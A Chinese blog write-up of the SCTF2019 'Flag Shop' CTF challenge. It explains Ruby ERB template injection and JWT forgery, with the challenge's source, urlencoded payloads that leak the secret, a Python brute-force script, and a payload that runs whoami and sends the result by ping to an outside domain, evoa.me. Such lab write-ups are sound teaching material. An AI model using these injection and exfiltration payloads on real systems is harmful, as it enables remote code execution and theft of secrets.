刷题笔记:[SCTF2019]Flag Shop


前言

关键字:[ruby erb|ssti|jwt]

题解

点work会加钱,所以可以007不停工作这样几百年后就能买房了。

这题很容易想到有关cookie。

抓个包再随便点一点

网页上已经77了,burp里还是74,可见金额不是存session,而是存在本地cookie。

那只要解开cookie就行了。

因为是jwt加密,用jwtcrack试试。

没跑出来,还是得先找到key,得先看看其他地方。

扫了扫目录,发现robots.txt存在。

里面放了源码,ruby语法。

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

Ruby ERB模板注入

【技术分享】手把手教你如何完成Ruby ERB模板注入

重点在这里,如果传入的参数do和name相等,则输出。

erb的模板注入形式如下

<%= 7 * 7 %>
<%= File.open('/etc/passwd').read %>

其中<%=%>占用五个字符,而题目只给了七个可控字符。

所以这里利用ruby的预定义变量,只用两个字符。

如下有两个办法,其实思路都一样。

直接输出

$' The string to the right of the last successful match. 最后一次成功匹配的右侧的字符串

利用ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")

内层的正则限制了SECRET为数字+小写字母,重点是前面的正则,#{}类似于php里的取变量,不用管。

因为SECERT是空,所以把完成的SECERT给输出出来了。

如图:

在这发现ruby的match挺怪的,可以pattern.mathch(string),也可以string.mathch(pattern)

unless params[:SECRET].nil?意思是设置了SECRET参数才执行代码块,所以要设个SECRET

work?SECRET=&name=<%=$'%>&do=<%=$'%> is working
//urlencode
work?SECRET=&name=%3C%25%3D%24'%25%3E&do=%3C%25%3D%24'%25%3E%20is%20working

返回如下,这样就拿到了当下的jwt token和key

HTTP/1.1 200 OK
Server: openresty
Date: Tue, 10 Aug 2021 08:55:15 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 176
Connection: close
Set-Cookie: auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJmMDBmZjcwNi02ZDFhLTQzOGQtOGM0OC02ZWMyYTNkN2Y1MzIiLCJqa2wiOjc1fQ.KH-pPeCd_V98pV9VdNCGEATa3XofmPKd934pW7mDqvw; domain=0e50b8a0-5392-476e-a5ce-cd30228e8582.node4.buuoj.cn; path=/; HttpOnly
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block

<script>alert('ebe18e25bc2e1a0d8d48db9b6df08d7101eed13861254583d435edf271c197e636d5e57a74a650fc39cbeaf4a78226d8290f2407cc0471d1314a5f4ea44d1877 working successfully!')</script>

https://jwt.io/进行处理。

然后把key放进去,修改金额,拿到jwt token。

然后再打进去,返回成功,但是没看到flag

竟然藏在jwt里,还得再解码下。

爆破

构造

name=<%=$~%>
do=<%=$~%> is working

$~ The information about the last match in the current scope.当前范围最后一次匹配的结果

ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")

SECRET参数可控,如果匹配到SECRET,则$~会在页面中返回

import requests
import base64
import time

url = "http://0e50b8a0-5392-476e-a5ce-cd30228e8582.node4.buuoj.cn"
r = requests.session()
r.get(url + "/api/auth")

flag = ""
while True:
    i = ""
    for i in "0123456789abcdef":
        now = flag + i
        #now = i + flag
        res = r.get(
            url + "/work?name=%3c%25%3d%24%7e%25%3e&do=%3c%25%3d%24%7e%25%3e%20is%20working&SECRET="+now)
        if len(res.text) > 48:
            print(res.text)
            print(flag)
            flag = now
            break
    time.sleep(0.3)
print(flag)

因为不知道初始匹配的位置,比如SECRET为abcdefg,然后一开始匹配到d,第二次匹配到de,第三次def,这样后面的匹配完了,但前面的那几个还没匹配,所以需要执行两次。

第一次now = flag + i 将后面的字符串匹配出来,

第二次now = i + flag,flag填入,匹配前面的字符串。

HTTP参数传递类型差异产生的攻击面

读取的是/proc/self/environ,这个可直接得到flag

/work?do=["<%=system('ping -c 1 1`whoami`.evoa.me')%>", "1", "2", "3", "4", "5", "6"] is working&name[]=<%=system('ping -c 1 1`whoami`.evoa.me')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6

//urlencode
/work?SECRET=xxx&do=%5b%22%3c%25%3d%20%46%69%6c%65%2e%6f%70%65%6e%28%27%2f%70%72%6f%63%2f%73%65%6c%66%2f%65%6e%76%69%72%6f%6e%27%29%2e%72%65%61%64%20%25%3e%22%2c%20%22%31%22%2c%20%22%32%22%2c%20%22%33%22%2c%20%22%34%22%2c%20%22%35%22%2c%20%22%36%22%5d%20%69%73%20%77%6f%72%6b%69%6e%67&name[]=%3c%25%3d%20%46%69%6c%65%2e%6f%70%65%6e%28%27%2f%70%72%6f%63%2f%73%65%6c%66%2f%65%6e%76%69%72%6f%6e%27%29%2e%72%65%61%64%20%25%3e&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6

文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录